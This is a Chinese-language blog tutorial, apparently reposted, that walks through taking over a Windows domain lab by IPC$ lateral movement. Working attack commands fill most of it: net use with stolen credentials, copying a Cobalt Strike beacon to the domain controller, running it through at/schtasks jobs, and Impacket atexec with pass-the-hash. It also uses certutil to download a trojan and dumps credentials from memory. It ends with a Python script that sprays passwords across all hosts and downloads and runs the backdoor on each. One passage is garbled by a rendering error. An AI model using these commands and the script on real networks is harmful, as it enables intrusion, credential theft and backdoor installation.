内网安全:IPC协议横向移动

这篇具有很好参考价值的文章主要介绍了内网安全:IPC协议横向移动。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

目录

网络拓扑图

网络环境说明

IPC协议

域渗透实战

域内信息收集:域控主机&&用户&&凭据&&网络

IPC协议横向移动 - 执行命令

一. 建立IPC连接

二. 拷贝执行文件到目标机器

三. 添加计划任务

IPC协议横向移动 - CS插件

IPC协议横向移动 - Impacket(常用)

EXE版本测试

 Py版本测试 - 代理技术

获取DC账户密码


今天开始内网横向移动的学习,基于IPC协议的横向移动。 

网络拓扑图

IPC横向移动的实验环境如下

ipc管道横移,内网渗透,安全,横向移动,IPC,协议

网络环境说明

攻击机:

        LInux      IP:47.94.236.117

内网环境:单域环境

        Webserver:内网主机的网络出口,已拿到权限,通过它进行内网横向移动

                             IP:192.168.46.146       192.168.3.31

        DC:域控     IP:192.168.3.21

        Jack-PC:    IP:192.168.3.29

        Mary-PC:   IP:192.168.3.25

        SQLServer:IP:192.168.3.32

        FileServer: IP:192.168.3.30

IPC协议

IPC(Inter-Process Communication)协议是指用于不同进程之间进行通信和数据交换的协议。在操作系统中,进程是指正在运行的程序的实例。进程可以是同一应用程序的不同实例,也可以是不同应用程序之间的独立实例。进程之间的通信是实现多任务、协作和数据交换的关键。

IPC协议提供了一套规范和机制,使不同进程能够安全、可靠地进行通信。它允许进程之间共享数据、传递消息、进行同步操作等。常见的IPC协议包括以下几种:

  1. 管道(Pipe):管道是一种半双工的通信机制,可用于在父子进程或者兄弟进程之间进行通信。在Unix和Linux系统中,管道可以通过创建一个管道文件描述符来实现进程间通信。

  2. 命名管道(Named Pipe):命名管道是一种有名的管道,它允许无亲缘关系的进程进行通信。命名管道在文件系统中有一个唯一的名字,进程可以通过该名字打开和使用管道进行通信。

  3. 消息队列(Message Queue):消息队列是一种按照消息进行通信的机制。进程可以将消息发送到消息队列中,其他进程可以从队列中接收和处理消息。消息队列通常具有先进先出的特性,并提供了一种异步通信的方式。

  4. 共享内存(Shared Memory):共享内存允许不同进程访问同一块内存区域,从而实现高效的数据共享。多个进程可以将共享内存映射到各自的地址空间中,以便直接读写共享数据,避免了数据复制和传输的开销。

  5. 套接字(Socket):套接字是一种网络编程中常用的IPC机制,它允许不同主机上的进程进行网络通信。套接字提供了一种可靠的、面向连接的通信方式,可以通过TCP或UDP协议在网络中传输数据。

  6. 信号量(Semaphore):信号量是一种用于同步进程的机制,它可以用来保护共享资源,控制进程的访问顺序,以及实现进程间的互斥和同步操作。

以上只是一些常见的IPC协议,实际上还有其他更多的IPC机制和协议,每种协议都有其适用的场景和特点。选择适当的IPC协议取决于具体的应用需求和操作系统支持。

IPC是专用管道,可以实现对远程计算机的访问,
需要使用目标系统用户的账号密码,使用139、445端口。
1. 建立IPC链接到目标主机
2. 拷贝要执行的命令脚本到目标主机
3. 查看目标时间,创建计划任务(at、schtasks)定时执行拷贝到的脚本
4. 删除IPC链接


常用ipc命令总结
net use \\192.168.3.32\ipc$ "Admin12345" /user:god.org\administrator  #新建连接
net use #查看与本机的所有连接
net use \\192.168.3.32 /del  #删除该连接
net use \\server\ipc$ "password" /user:username # 工作组
net use \\server\ipc$ "password" /user:domain\username #域内
dir \\xx.xx.xx.xx\C$\                # 查看文件列表
copy \\xx.xx.xx.xx\C$\1.bat 1.bat  # 下载文件
copy 1.bat \\xx.xx.xx.xx\C$  # 复制文件
net use \\xx.xx.xx.xx\C$\1.bat /del  # 删除IPC
net view xx.xx.xx.xx                # 查看对方共享

域渗透实战

接下将会一步一步拿下整个内网!

域内信息收集:域控主机&&用户&&凭据&&网络

随便一条命令即可验证,shell调用对方主机的cmd命令

shell net time /domain

ipc管道横移,内网渗透,安全,横向移动,IPC,协议

并且还得到了一个域控的信息。ping一下

ipc管道横移,内网渗透,安全,横向移动,IPC,协议

获得域控主机地址: 

ipc管道横移,内网渗透,安全,横向移动,IPC,协议

域内用户信息,插件或者命令

shell net user /domain

域内用户信息

ipc管道横移,内网渗透,安全,横向移动,IPC,协议

获取网络信息,这个需要权限,需要提权,使用高权限的会话进行网络信息收集

ipc管道横移,内网渗透,安全,横向移动,IPC,协议

通过端口扫描探测网络环境

ipc管道横移,内网渗透,安全,横向移动,IPC,协议

在CS上上线的是192.168.46.*网段,说明192.168.3.*网段是内网网段

ipc管道横移,内网渗透,安全,横向移动,IPC,协议

因为我们主要是探测网络主机情况,不需要扫太多端口吗,扫一些常见端口即可

ipc管道横移,内网渗透,安全,横向移动,IPC,协议

扫描结果:

ipc管道横移,内网渗透,安全,横向移动,IPC,协议

ipc管道横移,内网渗透,安全,横向移动,IPC,协议 还有一种情况,倘若当前主机的用户不是域用户怎么办?可以在CS中切换用户上线,需要高权限

ipc管道横移,内网渗透,安全,横向移动,IPC,协议

别的主机登录过这台主机,会进行密码验证,并记录在内存中,需要高权限才能读取,可以通过这个收集到一个密码集,尝试类似弱口令的攻击。比如域控通过密码登录过这台主机,抓取到域控的密码或者hash,往往域控用户的很多个密码都是同一个,可以尝试弱口令。

在内网渗透的很多横向移动攻击手法中,往往需要传递这些凭据来实现攻击

ipc管道横移,内网渗透,安全,横向移动,IPC,协议

抓取明文密码:

ipc管道横移,内网渗透,安全,横向移动,IPC,协议

抓取Hash:

ipc管道横移,内网渗透,安全,横向移动,IPC,协议

建立IPC连接失败的常见原因:

  1. 对方没打开IPC共享
  2. 对方未开启139,445端口
  3. 账号密码不对

IPC协议横向移动 - 执行命令

前面已经收集到了一些Hash,明文密码,借助IPC进行横向移动

建立IPC连接:需要账号密码,前面已经获取了域内用户账号和抓取了密码

一. 建立IPC连接

shell net use \\192.168.3.21\ipc$ "Admin12345" /user:god.org\administrator 

注意:这里只是现有演示横向移动的手法,Admin123456如何获取等会再解释

这里是通过Webserver(192.168.3.31,已拿下)去横向移动到DC(192.168.3.21)

ipc管道横移,内网渗透,安全,横向移动,IPC,协议

这就建立好了双方主机的IPC连接

建立IPC连接失败常见错误代码:

(1)5:拒绝访问,可能是使用的用户不是管理员权限,需要先提升权限
(2)51:网络问题,Windows 无法找到网络路径
(3)53:找不到网络路径,可能是IP地址错误、目标未开机、目标Lanmanserver服务未启动、有防火墙等问题
(4)67:找不到网络名,本地Lanmanworkstation服务未启动,目标删除ipc$
(5)1219:提供的凭据和已存在的凭据集冲突,说明已建立IPCKaTeX parse error: Expected 'EOF', got '#' at position 93: …账号策略,强制定期更改密码 #̲建立IPC失败的原因 (1)目…共享
(3)对方未开启139、445端口,或者被防火墙屏蔽
(4)输出命令、账号密码有错误

二. 拷贝执行文件到目标机器

之后上传后门到DC(192.168.3.21)

首先需要说明后门生成的问题:

正向连接方式:生成后门,令192.168.3.21绑定本地端口,通过Websever(192.168.3.31)去主动访问

beacon_bind_tcp->beacon.exe
connect 192.168.3.21 2222

反向连接方式:后门的IP应该是Webserver的192.168.3.31这个IP,因为要和DC铜鼓县你,所以需要使用这个IP,才能建立起反向连接

代理转发->转发上线->beacon.exe

其次说明后门上传的问题:

我们是通过Webserver(192.168.3.31)横向移动的,IPC建立的连接也是Webserer与DC的

所以需要先把后门上传至Webserver再拷贝到DC上。

这里仅实验正向连接

ipc管道横移,内网渗透,安全,横向移动,IPC,协议

在CS中执行命令,使用控制Webserver的高权限会话执行命令,复制文件到C盘

shell copy 4444.exe \\192.168.3.21\c$

ipc管道横移,内网渗透,安全,横向移动,IPC,协议

ipc管道横移,内网渗透,安全,横向移动,IPC,协议

三. 添加计划任务

在添加计划任务时,根据操作系统的版本不同,使用的命令也有不同

at < Windows2012 (该版本之前的操作系统使用at命令)

添加计划任务,定时执行

样例:shell at \\192.168.3.21 12:16 c:\bindtcp-2222.exe

定时任务生效后连接:connect 192.168.3.21    #等到定时任务生效后执行,正向连接上线

schtasks >=Windows2012(适用于windows2012后的操作系统版本)

创建任务对应执行文件neacon

样例:schtasks /create /s 192.168.3.32 /ru "SYSTEM" /tn beacon /sc DAILY /tr c:\bindtcp-2222.exe /F

运行beacon任务

schtasks /U administrator /P Admin12345 /run /s 192.168.3.32 /tn beacon /i 
删除beacon任务:

schtasks /delete /s 192.168.3.21 /tn beacon /F

 通过IPC建立的连接上传后门后,再通过这个给这台主机添加定时任务

ipc管道横移,内网渗透,安全,横向移动,IPC,协议

之后就会执行上线

ipc管道横移,内网渗透,安全,横向移动,IPC,协议

IPC协议横向移动 - CS插件

LSTAR插件,使用倒数第二个

ipc管道横移,内网渗透,安全,横向移动,IPC,协议

ipc管道横移,内网渗透,安全,横向移动,IPC,协议

 也可以通过这个插件做横向移动

IPC协议横向移动 - Impacket(常用)

这是一个专门做横向移动的套件,包含多种横向移动方式

该工具是一个半交互的工具,适用于Webshell下,Socks代理下;
在渗透利用中可以收集用户名、明文密码、密码hash、远程主机等做成字典,批量测试

1、Py版:https://github.com/SecureAuthCorp/impacket

2、Exe版:https://gitee.com/RichChigga/impacket-examples-windows

EXE版本测试

上传文件到Webserver再执行命令,

支持明文,密文Hash连接

CS本地用户明文连接,./针对本地用户连接
shell atexec.exe ./administrator:Admin12345@192.168.3.21 “whoami”
CS域内用户明文连接,god/针对域内用户连接
shell atexec.exe god/administrator:Admin12345@192.168.3.21 “ver”

ipc管道横移,内网渗透,安全,横向移动,IPC,协议

ipc管道横移,内网渗透,安全,横向移动,IPC,协议

这款工具还支持Hash连接

shell atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21 “whoami”
shell atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21 “whoami”

ipc管道横移,内网渗透,安全,横向移动,IPC,协议

把木马下载到Webserver这个目录上,放到了Web服务上

ipc管道横移,内网渗透,安全,横向移动,IPC,协议

命令执行改为下载Webserver上木马命令

shell atexec.exe god/administrator:Admin12345@192.168.3.21 "certutil.exe -urlcache -split -f http://192.168.3.31:80/2222.exe zx.exe"

CS执行命令 

ipc管道横移,内网渗透,安全,横向移动,IPC,协议

ipc管道横移,内网渗透,安全,横向移动,IPC,协议

shell atexec.exe god/administrator:Admin12345@192.168.3.21 "zx.exe"
connect 192.168.3.21 2222

上线

ipc管道横移,内网渗透,安全,横向移动,IPC,协议

缺点:需要上传的文件太大了,动静很大

ipc管道横移,内网渗透,安全,横向移动,IPC,协议

 Py版本测试 - 代理技术

为了解决主机上没有Python的问题,建议使用代理技术把攻击机带进内网进行测试

ipc管道横移,内网渗透,安全,横向移动,IPC,协议

ipc管道横移,内网渗透,安全,横向移动,IPC,协议

使用Proxifier进行代理

ipc管道横移,内网渗透,安全,横向移动,IPC,协议

ipc管道横移,内网渗透,安全,横向移动,IPC,协议

配置代理,任意进程走3网段的都走代理

ipc管道横移,内网渗透,安全,横向移动,IPC,协议

 访问到内网

ipc管道横移,内网渗透,安全,横向移动,IPC,协议

接下来就可以本地直接测试Py,需要安装impacket库

python atexec.py -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21 “whoami”

ipc管道横移,内网渗透,安全,横向移动,IPC,协议

关于为什么都是system权限上线解释:

域控制器上的域管理员账户(Domain Administrator)具有最高权限,可以管理域中的所有用户账户和计算机。域管理员账户默认具有登录所有域成员主机的权限,这意味着域管理员可以使用其凭据登录到域中的任何计算机。所以在实验中获得的才是system权限。

在实际测试中,是不知道的,而且我们在信息收集时针对Webserver内存密码读取也没读到。

那么如何获得DC的账户呢?

通过Webserver抓到了不少的凭证,通过IPC横向移动,使用本地用户./administrator和GOD/administrastor和账号密码组合测试,如果拿下来主机,就可以在抓取这台主机的内存里的凭证重复上面测试不断丰富凭证,知道横向到DC的密码。

获取DC账户密码

在一开始信息收集时,获得一部分明文密码

ipc管道横移,内网渗透,安全,横向移动,IPC,协议

通过这个密码横向移动其它的设备

分别测试本机用户和域用户

测试域用户失败,估计权限不够,测试本地用户成功

ipc管道横移,内网渗透,安全,横向移动,IPC,协议

 192.168.3.29上线,还是system权限,说明那个密码时电脑本地管理员的账号密码

ipc管道横移,内网渗透,安全,横向移动,IPC,协议

抓取新上线主机的哈希,明文

ipc管道横移,内网渗透,安全,横向移动,IPC,协议

这条信息抓到的是DC账户的哈希,如果不知道的话,也可以每一条hash都试试横向移动也可以

 可以利用这条哈希进行横向移动

ipc管道横移,内网渗透,安全,横向移动,IPC,协议

上线

ipc管道横移,内网渗透,安全,横向移动,IPC,协议

再去抓域控的凭证,得到DC账户的明文密码

ipc管道横移,内网渗透,安全,横向移动,IPC,协议

之后写个脚本,用这个明文密码跑一跑,整个网络就通了

import os,time
ips={
    '192.168.3.21',
    '192.168.3.25',
    '192.168.3.29',
    '192.168.3.30',
    '192.168.3.32'
}
users={
    'Administrator',
    'boss',
    'dbadmin',
    'fileadmin',
    'itadmin',
    'jack',
    'mary',
    'vpnadm',
    'webadmin'
}
passs={
    'admin!@#45'
    'Admin12345'
}

def xz():#下载后门
    for ip in ips:
        for user in users:
            for mima in passs:
                exec1='python3 .\\atexec.py ./administrator:'+mima+'@'+ip+' "certutil -urlcache -split -f http://192.168.3.31/webserver4444.exe c:/beacon.exe"'
                exec2='python3 .\\atexec.py god/'+user+':'+mima+'@'+ip+' "certutil -urlcache -split -f http://192.168.3.31/webserver4444.exe c:/beacon.exe"'
                #exec3='atexec.exe ./administrator:admin!@#45@192.168.3.32 "certutil -urlcache -split -f http://192.168.3.31/beacon.exe c:/beacon.exe"'   #这里是使用可执行程序 效果与py脚本一样
                print('--->'+exec1+'<---')
                print('--->' + exec2 + '<---')
                os.system(exec1)
                os.system(exec2)

def zx():#执行后门
    for ip in ips:
        for user in users:
            for mima in passs:
                #exec="net use \\"+ "\\"+ip+'\ipc$ '+mima+' /user:god\\'+user
                exec1 = 'python3 .\\atexec.py  ./administrator:' + mima + '@' + ip + ' "c:/beacon.exe"'
                exec2 = 'python3 .\\atexec.py god/' + user + ':' + mima + '@' + ip + ' "c:/beacon.exe"'
                #exec3='atexec.exe ./administrator:admin!@#45@192.168.3.32 "certutil -urlcache -split -f http://192.168.3.31/beacon.exe c:/beacon.exe"'
                print('--->' + exec1 + '<---')
                print('--->' + exec2 + '<---')
                os.system(exec1)
                os.system(exec2)

if __name__ == '__main__':
    xz()
    zx()

整个内网就都会上线CS了文章来源地址https://www.toymoban.com/news/detail-857651.html

到了这里,关于内网安全:IPC协议横向移动的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 【内网安全】搭建网络拓扑,CS内网横向移动实验

    实验拓扑结构如下: **攻击者win10地址:**192.168.8.3 dmz win7地址: 10.9.75.49 172.16.1.1 **DC server2008地址:**172.16.1.254 CS服务器 kali: 10.9.75.171 1、搭建CS服务器,CS客户端连接 攻击者充当CS客户端连接 开启监听 生成木马 攻击者win10 攻击者访问dmz的Web服务器,上传一句话木马,蚁剑连

    2024年02月03日
    浏览(46)
  • 【内网安全-横向移动】WMI-WMIC命令&相关内网工具

    目录 一、WMI 1、简述:  1)官方介绍: 2)优点: 3)条件: 4)不足: 5)WMIC管理命令: 6)相关工具:  2、上线: 1、wmic 2、impacket-wmiexec 3、wmicmd.exe 4、WMIHACKER  1)官方介绍: WMI 具有 管理员 和 WMI 提供 程序编写器 使用的多个命令行工具 WMI 命令行工具 - Win32 apps | Micros

    2024年01月22日
    浏览(51)
  • 6、内网安全-横向移动&Wmi&Smb&CrackMapExec&ProxyChains&Impacket

      用途:个人学习笔记,有所借鉴,欢迎指正! 在内网环境中,主机192.168.3.31有外网网卡能出网,在取得该主机权限后上线,搭建web应用构造后门下载地址,利用该主机执行相关命令可以进行横向移动,通过传递命令其他主机也可访问下载主机192.168.3.31的后门并执行,从而拿

    2024年02月20日
    浏览(43)
  • 8、内网安全-横向移动&RDP&Kerberos攻击&SPN扫描&WinRM&WinRS

    用途:个人学习笔记,有所借鉴,欢迎指正 目录 一、域横向移动-RDP-明文NTLM 1.探针服务: 2.探针连接: 3.连接执行: 二、域横向移动-WinRMWinRS-明文NTLM 1.探针可用: 2.连接执行: 3.上线 CSMSF: 4.CS 内置横向移动 三、域横向移动-SpnKerberos-请求破解重写 Kerberoasting攻击的利用:

    2024年02月19日
    浏览(40)
  • 7、内网安全-横向移动&PTH哈希&PTT票据&PTK密匙&Kerberos&密码喷射

    用途:个人学习笔记,有所借鉴,欢迎指正 目录 一、域横向移动-PTH-MimikatzNTLM 1、Mimikatz 2、impacket-atpswmismb 二、域横向移动-PTK-MimikatzAES256 三、域横向移动-PTT-漏洞KekeoTicket  1、漏洞-MS14068(webadmin权限)——利用漏洞生成的用户的新身份票据尝试认证 2、kekeo(高权限,需NTLM)——

    2024年02月19日
    浏览(42)
  • 10、内网安全-横向移动&域控提权&NetLogon&ADCS&PAC&KDC&永恒之蓝

    用途:个人学习笔记,有所借鉴,欢迎指正! 主要针对内网主机中的 域控提权 漏洞,包含漏洞探针和漏洞复现利用。 1、 横向移动-系统漏洞-CVE-2017-0146(ms17-010,永恒之蓝) 永恒之蓝(CVE-2017-0146)复现(超详细)_永恒之蓝模型-CSDN博客 2、 横向移动-域控提权-CVE-2014-6324 3、

    2024年02月21日
    浏览(35)
  • 视频中间件:大华IPC/NVR 主动注册协议接入并输出标准FLV/RTSP/HLS流

    大华主动注册协议是类似海康E-home、ISUP协议,也是前端设备向中心平台和服务注册的一种主动注册协议,对于前端网络无固定IP情况下对视频的联网、视频上云等场景应用尤为适用。行业主动注册标准协议还有GB28181、JTT1078等,如何实现多协议的兼容适配,并输出标准化通用

    2024年02月12日
    浏览(55)
  • ONVIF协议网络摄像机(IPC)客户端程序开发使用ONVIF框架代码(C++)生成静态库04-->Windows

    先说一下,为什么不像前面Linux生成动态库那样去开发Onvif。因为Onvif的源码是没有那些__declspec(dlleXPort)指令,所以当你导出dll时,你会发现没有xxx.lib文件产生,在windows下你就没办法隐式调用dll了,除非你显示调用dll,即在程序中使用LoadLibrary()一个一个将要用到的函数加

    2023年04月08日
    浏览(59)
  • 内网渗透-内置工具横向移动

    前期给大家讲了一些横向移动的知识,今天给大家讲解一下横向移动中工具的使用。 IPC+Schtasks(文件共享服务和定时任务) 利用条件: 开放了139,445端口 必须开启IPC$文件共享服务 需要目标机器的管理员账号和密码 hashdump load mimikatz 得到账号和密码 kerberos ssp wdigest net view

    2024年02月09日
    浏览(37)
  • 内网环境横向移动——利用DCOM(2)

    PTH 部分基于 NTLM 认证进行攻击,而 PTT 基于 kerberos 协议进行攻击 PTT 中最常见的三种攻击方式为:MS14-068、黄金票据、白银票据 MS14-068 是密钥分发中心(KDC)服务中的Windows漏洞。它允许经过身份验证的用户在其Kerberos票证(TGT)中插入任意PAC(表示所有用户权限的结构)。该

    2024年01月24日
    浏览(41)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包